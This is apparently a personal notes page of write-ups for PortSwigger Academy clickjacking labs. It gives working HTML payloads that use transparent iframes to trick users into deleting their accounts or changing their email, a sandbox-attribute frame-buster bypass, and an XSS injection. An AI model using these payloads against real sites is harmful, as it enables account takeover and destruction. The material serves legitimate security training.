> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/portswigger-academy/client-side-topics/clickjacking-ui-redressing.md).

# Clickjacking (UI redressing)

### Lab: Basic clickjacking with CSRF token protection

This lab contains login functionality and a delete account button that is protected by a CSRF token. A user will click on elements that display the word "click" on a decoy website.

To solve the lab, craft some HTML that frames the account page and fools the user into deleting their account. The lab is solved when the account is deleted.

```
POST /my-account/delete HTTP/1.1
Host: ac381f3b1e32ee41c1cd635700b800c3.web-security-academy.net
...
csrf=Mhp88EQipwUkHUgrlWxeDrQ1uJ43aAja
```

We have to arrange of click with div's top and left values to deletion of user.

We can set iframe's opacity to 0.2 for clear view.

**Exploit Server ->**

```
Body:

    <style>
       iframe {
           position:relative;
           width:400;
           height: 700;
           opacity: 0.0001;
           z-index: 2;
       }
       div {
           position:absolute;
           top:495;
           left:175;
           z-index: 1;
       }
    </style>
    <div>Click me</div>
    <iframe src="https://ac381f3b1e32ee41c1cd635700b800c3.web-security-academy.net/my-account"></iframe>
```

### Lab: Clickjacking with form input data prefilled from a URL parameter

This lab extends the basic clickjacking example in Lab: Basic clickjacking with CSRF token protection. The goal of the lab is to change the email address of the user by prepopulating a form using a URL parameter and enticing the user to inadvertently click on an "Update email" button.

To solve the lab, craft some HTML that frames the account page and fools the user into updating their email address by clicking on a "Click me" decoy. The lab is solved when the email address is changed.

```
<input required type="email" name="email" value="">

POST /my-account/change-email HTTP/1.1
Host: ac311fd41f2e579cc0e51ea800510007.web-security-academy.net
...
email=evil%40mail.com&csrf=mqzae53TQekuHUMszO04gOIuRnK1Vui8
```

`/my-account?email=evil%40mail.com`

**Exploit Server ->**

```
Body:

    <style>
       iframe {
           position:relative;
           width:400;
           height: 700;
           opacity: 0.0001;
           z-index: 2;
       }
       div {
           position:absolute;
           top:450;
           left:175;
           z-index: 1;
       }
    </style>
    <div>Click me</div>
    <iframe src="https://ac311fd41f2e579cc0e51ea800510007.web-security-academy.net/my-account?email=evil%40mail.com"></iframe>
```

### Lab: Clickjacking with a frame buster script

This lab is protected by a frame buster which prevents the website from being framed. Can you get around the frame buster and conduct a clickjacking attack that changes the users email address?

To solve the lab, craft some HTML that frames the account page and fools the user into changing their email address by clicking on "Click me". The lab is solved when the email address is changed.

```
<input required type="email" name="email" value="">
<script>
	if(top != self) {
		window.addEventListener("DOMContentLoaded", function() {
			document.body.innerHTML = 'This page cannot be framed';
		}, false);
	}
</script>
```

```
POST /my-account/change-email HTTP/1.1
Host: acfa1f431ff368a7c0991ff800d600b8.web-security-academy.net
...
email=evil%40mail.com&csrf=0T0HOHUrtrYviIXJ3x7tDsggt9ouEpLS
```

We can use sandbox="allow-forms" attribute in iframe. These values can be use for bypass:

* allow-forms
* allow-scripts
* allow-top-navigation

**Exploit Server ->**

```
<style>
   iframe {
       position:relative;
       width:400;
       height: 700;
       opacity: 0.0001;
       z-index: 2;
   }
   div {
       position:absolute;
       top:450;
       left:175;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="https://acfa1f431ff368a7c0991ff800d600b8.web-security-academy.net/my-account?email=evil%40mail.com" sandbox="allow-forms"></iframe>
```

### Lab: Exploiting clickjacking vulnerability to trigger DOM-based XSS

This lab contains an XSS vulnerability that is triggered by a click. Construct a clickjacking attack that fools the user into clicking the "Click me" button to call the print() function.

```
POST /feedback/submit HTTP/1.1
Host: ac451f391f9944eec1b046ba008d0048.web-security-academy.net
...
csrf=...&name=test1&email=test2%40test.com&subject=test3&message=test4

In response:
Thank you for submitting feedback, test1!
```

```
<img src=1 onerror=print()>

/feedback?name=<img src=1 onerror=print()>&email=evil%40mail.com&subject=evil&message=smile
```

**Exploit Server ->**

```
Body:

    <style>
       iframe {
           position:relative;
           width:400;
           height: 900;
           opacity: 0.0001;
           z-index: 2;
       }
       div {
           position:absolute;
           top:795;
           left:175;
           z-index: 1;
       }
    </style>
    <div>Click me</div>
    <iframe src="https://ac451f391f9944eec1b046ba008d0048.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=evil%40mail.com&subject=evil&message=smile"></iframe>
```

### Lab: Multistep clickjacking

This lab has some account functionality that is protected by a CSRF token and also has a confirmation dialog to protect against Clickjacking. To solve this lab construct an attack that fools the user into clicking the delete account button and the confirmation dialog by clicking on "Click me first" and "Click me next" decoy actions. You will need to use two elements for this lab.

**"Delete Account" button ->"Yes" button**

**Exploit Server ->**

```
Body:

    <style>
       iframe {
           position:relative;
           width:400;
           height: 700;
           opacity: 0.0001;
           z-index: 2;
       }
       #first {
           position:absolute;
           top:495;
           left:150;
           z-index: 1;
       }
       #second {
           position:absolute;
           top:315;
           left:150;
           z-index: 1;
       }
    </style>
    <div id="first">Click me first</div>
    <div id="second">Click me next</div>
    <iframe src="https://ac3a1f551fe757c8c0b6256e00a800bc.web-security-academy.net/my-account"></iframe>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cel1s0.gitbook.io/offsec-notes/portswigger-academy/client-side-topics/clickjacking-ui-redressing.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.